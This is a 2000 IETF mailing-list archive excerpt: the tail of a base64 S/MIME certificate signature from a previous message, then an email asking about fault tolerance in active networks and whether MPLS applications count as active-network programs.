Quc5KkkO28hnvT7yQViBZHLmfKAVnvnmjERV3LSnU7h2K+UPZKAwpPdwQDiRucfqb2FNanTe
SZ98DL7sI7SGL6uvY7JRpwswggMaMIICg6ADAgECAhEAjHjAZkN+HYAolSapyvcyfTANBgkq
hkiG9w0BAQQFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1
BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkw
HhcNOTgwNDMwMDAwMDAwWhcNMDMwNDMwMjM1OTU5WjCBjzEfMB0GA1UEChMWVmVyaVNpZ24g
VHJ1c3QgTmV0d29yazEpMCcGA1UECxQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBD
by4xQTA/BgNVBAsUOE1vcmdhbiBTdGFubGV5IERlYW4gV2l0dGVyICYgQ28uIENsYXNzIDIg
LSBJbmRpdmlkdWFsIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC1mUR/KpkrVHfx
RivXjy0hlN7b0mmvTXH7pI030m+cJkaLZ4V8K50DMMLvEOcMXNwW0EhEeTiLTdrF7VmQNIeI
aa5ZN8vQGal6Uy1Zg/QY4LomtBeIFwmz1GkyNcnxodk3HH8UsAhhxxN/ofNlMmFYh1Vf83wF
/vxuSi+7kvYb5QIDAQABo4GkMIGhMCgGA1UdEQQhMB+kHTAbMRkwFwYDVQQDExBQcml2YXRl
TGFiZWwxLTQ2MBEGCWCGSAGG+EIBAQQEAwIBBjBEBgNVHSAEPTA7MDkGC2CGSAGG+EUBBwEB
MCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9SUEEwDwYDVR0TBAgw
BgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAY4G8DsKecmel3uL8rahe
drOWYJCAQzsy6vuR+xeCwdf4IsdHcgxOqDUWNc4znCQvBDrZhwhI+6oogQGoWvuKsuBNCIB8
gXuwjL9HMrf4mp6RM/sNDonVv1Xc3ZdpDB9pUgqBq04BaSmccHy+2GLNkL5/nny7l6mubSbV
eBMpmkgxggHUMIIB0AIBATCBpDCBjzEfMB0GA1UEChMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y
azEpMCcGA1UECxQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBDby4xQTA/BgNVBAsU
OE1vcmdhbiBTdGFubGV5IERlYW4gV2l0dGVyICYgQ28uIENsYXNzIDIgLSBJbmRpdmlkdWFs
IENBAhA0bpDgf0rNBjdrBVzpBaCpMAkGBSsOAwIaBQCggYYwGAYJKoZIhvcNAQkDMQsGCSqG
SIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDAwNzAxMDExMjIyWjAjBgkqhkiG9w0BCQQxFgQU
SQqWdxKgxJJYvOZEhgX5KTB3MDowJwYJKoZIhvcNAQkPMRowGDAHBgUrDgMCBzANBggqhkiG
9w0DAgIBKDANBgkqhkiG9w0BAQEFAASBgLTWIY+6zdyORehAbxu+vNq3CWPkpi2t3wJu0CwY
5ysSW6rxhQTtKBN7vBwIPG94iVTjg0EJ8KF0gQDKk0BJDaJ2DEf/mcnFLrlLgd1bjxqBqtzV
VwP7ulTdNY2JfGEO4vdF8In37yfsqra4zdow8dgQ7lWAM9PRydLRUY+rV5Bd
--------------msD2BDC6E9FB2AC6387136BC68--



From owner-ietf-outbound  Fri Jun 30 23:10:32 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA02482
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 23:10:01 -0400 (EDT)
Received: from wjao001.sita.int (wjao001.sita.int [57.250.224.18])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA02351
	for <Ietf@Ietf.Org>; Fri, 30 Jun 2000 23:01:58 -0400 (EDT)
From: Sam.Ng@sita.int
Received: by wjao001.sita.int (Smap/SITAnet-firewall-2.1) id DAA11468
	for <Ietf@Ietf.Org>; Sat, 1 Jul 2000 03:02:22 GMT
Received: from mx.sita.int(57.6.21.105) by wjao001 via smap (3.2)
	id xma011466; Sat, 1 Jul 00 03:02:21 GMT
Received: Received: from sydney1.syd.sita.int (sydney1.syd.sita.int [57.4.198.10])
	by mx.sita.int with SMTP id e6131mP26230
	for <Ietf@Ietf.Org>; Sat, 1 Jul 2000 03:01:49 GMT
Received: by sydney1.syd.sita.int(Lotus SMTP MTA v4.6.6  (890.1 7-16-1999))  id 4A25690F.00108B01 ; Sat, 1 Jul 2000 13:00:41 +1000
X-Lotus-FromDomain: SITA
To: Ietf@ietf.org
Message-ID: <4A25690F.001089BF.00@sydney1.syd.sita.int>
Date: Sat, 1 Jul 2000 13:00:37 +1000
Subject: Fault Tolerant in Active Network
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org




 i'm thinking about fault tolerant in active network, the following is my
thinking
 Since active network is to allow network to provide computation platform, the
user
 can input the program ( application specific customerised program) to the
active
  network and let the nodes to perform computation, is there anyone outthere is
doing
  fault tolerant application. Secondly, can mpls consider to be active network,
if it is not
  can it be possible to make it to be one. i know there are three applications
in MPLS
  & they are vpn, cos & traffic engineering. Are they considered to be
application specific
  customerised program in active network.. Appreicate anyone gives me some ideas

Cheers
Sam

 Sita Equant Operation
  Fault Management Unit
  Phone  : 61-02-92401408
  CVN     : 72391408




